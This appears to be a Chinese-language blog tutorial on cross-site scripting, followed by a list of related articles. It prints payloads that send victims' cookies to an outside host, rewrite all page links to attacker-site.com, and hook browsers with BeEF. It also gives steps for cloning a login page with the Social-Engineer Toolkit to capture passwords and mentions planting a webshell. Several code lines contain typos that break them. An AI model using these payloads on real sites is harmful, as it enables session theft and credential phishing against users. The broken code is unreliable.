将跨站脚本攻击缩写为XSS,恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面的时候,嵌入其中的Web里面的Script代码就会被执行,从而达到恶意攻击用户的目的。

反射型XSS

反射型Xss是非持久的,只具有一次性:攻击者通过邮件等形式将包含XSS代码的链接发送给正常用户,当用户点击时,服务器接受该用户的请求并进行处理,然后把带有XSS的代码发送给用户。用户浏览器解析执行代码,触发XSS漏洞.

PHP:
<?php echo $_GET['uname'];?>

当用户访问url/?uname=<script>alert(document.cookie)</script>,触发代码,弹出会话框

存储型XSS

存储型Xss是持久性的,攻击脚本存储在目标服务器的数据库中,具有更强的隐蔽性。攻击者在论坛,博客,留言板中,发帖的过程中嵌入XSS攻击代码,帖子被目标服务器存储在数据库中,当用户正常访问时,触发XSS代码

DOM型XSS

使用DOM动态访问更新文档内容、结构或样式。

HTML标签都是节点,节点组成了节点树。通过HTML DOM 可以对树上的所有节点进行修改。

服务器响应不会处理攻击者脚本,而是用户浏览器处理这个响应,DOM对象就会处理XSS代码,触发XSS漏洞。

Cookie:

Cookie是依据HTTP协议,服务器或脚本可以维护客户工作站上信息的一种方式。Cookie是由Web服务器保存在用户浏览器(客户端上的)一个小文本,它可以包含有关用户的信息。

临时Cookie:只在浏览器上保存一段规定的时间,一旦超过规定的时间,该Cookie就会被系统清除。

服务器可以利用Cookies包含信息的任意性来筛选并经常维护这些信息,以判断在HTTP传输中的状态。

Cookies最典型的应用是判定注册用户是否已经登陆过网站,保留用户信息可以简化下一次登陆网站。此外购物车,用户可能在一段时间内同一家网站的不同页面选择不同的商品,这些信息都会被写入Cookies,以便在最后付款时提取信息。

发射XSS盗取Cookie,

存在反射型XSS漏洞的站点位置,可以利用以下链接来盗取Cookie

<script> var img=document.createElment("img"); img.src="http://ip:port/a?"+escape(document.cookie); </script>

进入后台寻找上传点,进一步利用漏洞给上传一句话Webshell(中国菜刀)。

XSS篡改网页链接

window.onload当窗口加载时,执行匿名函数:

使用for循环遍历所有获得的链接a标签

<script> window.onload=function(){/*匿名函数*/ var link=document.getElmentsByTagName("a"); for(j=0;j<link.length;j++) { link[j].href="http://attacker-site.com/"; } } </script>

思考:XSS漏洞的本质是网页提供给了用户可交互代码接口,继而用户可以通过这个接口实现对网页的破坏。

通过XSS可以篡改流量URL

篡改链接执行恶意URL

Beef进行恶意链接生成,以及利用hook.js执行其他命令

Beef的用户名和密码都是Beef

恶意攻击代码:

<script src="http://192.168.253.28:3000/hook.js"></script>

操作流程:

kali环境下运行beef:
beef-xss //开启beef
/*获取到hook:<script src="http://<IP>:3000.hook.js"></script>*/
service apache2 start //开启阿帕奇服务
cd /var/www/html //var:可变动文件夹系统运行后逐渐占用硬盘容量的目录
vi index.html
将恶意攻击代码放入里面

XSS盗取用户信息

原理:首先要克隆网站的登陆页面,利用存储型XSS设置跳转代码,如果用户访问即跳转到克隆网址的登陆页面,用户输入登陆,账户和密码被存储。

当用户访问的网站具有XSS漏洞的时候,我们可以利用存储型XSS对网页进行篡改,当用户访问页面时就会进入到克隆站点的登陆界面。

Setookit工具克隆网站

首先控制台输入
setookit
进入操作后
选择1
选择2
选择3
选择2 站点克隆
使用对应网卡的IP地址直接回车,对我们需要克隆的URL进行输入
完成克隆后本地网页index.html即为监听网页,同时控制台会对其进行监听

XSS跨站脚本攻击(1)的更多相关文章

  1. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  2. XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析

    2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...

  3. xss(跨站脚本攻击),crsf(跨站请求伪造),xssf

    我们常说的网络安全其实应该包括以下三方面的安全: 1.机密性,比如用户的隐私被窃取,帐号被盗,常见的方式是木马. 2.完整性,比如数据的完整,举个例子,康熙传位十四子,被当时四阿哥篡改遗诏:传位于四子 ...

  4. PHP漏洞全解(四)-xss跨站脚本攻击

    本文主要介绍针对PHP网站的xss跨站脚本攻击.跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理员发信息 的方式诱使管理员浏览,从而获得管理员权限,控制整个网站 ...

  5. JAVA覆写Request过滤XSS跨站脚本攻击

    注:本文非本人原著. demo的地址:链接:http://pan.baidu.com/s/1miEmHMo 密码:k5ca 如何过滤Xss跨站脚本攻击,我想,Xss跨站脚本攻击令人为之头疼.为什么呢. ...

  6. xss跨站脚本攻击及xss漏洞防范

    xss跨站脚本攻击(Cross Site Scripting,因与css样式表相似故缩写为XSS).恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Scrip ...

  7. PHP进行安全字段和防止XSS跨站脚本攻击过滤(通用版)

    废话不多说,直接贴使用方法和代码: 使用方式:1)写在公共方法里面,随时调用即可.2)写入类文件,使用是include_once 即可 代码: /* 进行安全字段和xss跨站脚本攻击过滤(通用版) - ...

  8. 初窥XSS跨站脚本攻击

    XSS跨站脚本攻击的分类 一. 反射型XSS跨站脚本攻击 二. 存储型XSS跨站脚本攻击 三. 基于DOM的XSS跨站脚本攻击 1.反射性XSS 经过后端,不经过数据库 2.储存型XSS 经过后端,经 ...

  9. web应用程序安全攻防---sql注入和xss跨站脚本攻击

    kali视频学习请看 http://www.cnblogs.com/lidong20179210/p/8909569.html 博文主要内容包括两种常见的web攻击 sql注入 XSS跨站脚本攻击 代 ...

  10. spring-boot-plus XSS跨站脚本攻击处理

    XSS跨站脚本攻击处理 XSS:Cross Site Scripting 跨站脚本攻击(XSS),是目前最普遍的Web应用安全漏洞.这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当 ...

随机推荐

  1. 入坑wsl

    用了一个月的mac os, 又回归windows了, mac确实好看, 终端配合iterm2也很舒服, 奈何终究我们不合适...生态毕竟没有windows那么丰富; 切回windows最无法忍受的就是 ...

  2. python对csv文件读写的两种方式 和 读写文件编码问题处理

    ''' 如果文件读取数据出错,可以考虑加一个encoding属性,取值可以是:utf-8,gbk,gb18030 或者加一个属性error,取值为ignore,例如 open(path, encodi ...

  3. 第 45 届国际大学生程序设计竞赛(ICPC)亚洲网上区域赛模拟赛. A.Easy Equation (前缀和/差分)

    题意:RT,给你四个数\(a,b,c,d\),求\(x+y+z=k\)的方案数. 题解:我们可以先枚举\(x\)的值,然后\(x+y\)能取到的范围一定是\([x,x+b]\),也就是说这个区间内每个 ...

  4. 文件的读写(cpp)

    文件的读写(cpp) c++中要进行文件的读入,首先要包含一个头文件 fstream . 输出到文件 为打开一个可供输出的文件需要定义一个ofstream 对象并将文件名传入: std::ofstre ...

  5. K8S(08)交付实战-交付jenkins到k8s集群

    k8s交付实战-交付jenkins到k8s集群 目录 k8s交付实战-交付jenkins到k8s集群 1 准备jenkins镜像 1.1 下载官方镜像 1.2 修改官方镜像 1.2.1 创建目录 1. ...

  6. 使用 Typecho 搭建博客

    nginx 配置文件 [root@dbtest ~]# cat /etc/nginx/conf.d/www.typecho.com.conf server { listen 80; server_na ...

  7. 加密后的程序在Win8中无法运行

    需要使用dotNET_Reactor 4.7以上的版本加密后才能在Win8中使用.

  8. Redis内存管理中的LRU算法

    在讨论Redis内存管理中的LRU算法之前,先简单说一下LRU算法: LRU算法:即Least Recently Used,表示最近最少使用页面置换算法.是为虚拟页式存储管理服务的,是根据页面调入内存 ...

  9. HDU 3341 Lost's revenge (AC自动机 + DP + 变进制/hash)题解

    题意:给你些分数串,给你一个主串,主串每出现一个分数串加一分,要你重新排列主串,最多几分 思路:显然这里开$40^4$去状压内存不够.但是我们自己想想会发现根本不用开那么大,因为很多状态是废状压,不是 ...

  10. 关于Matlab GUI的一些经验总结

    注:此文来自转载,侵删去年做了一些关于Matlab GUI的程序,现在又要做相关的东西,回想起来,当时很多经验没有记录下来,现在回顾起来始终觉得不爽,所以从现在开始,一定要勤写记录. 从简单的例子说起 ...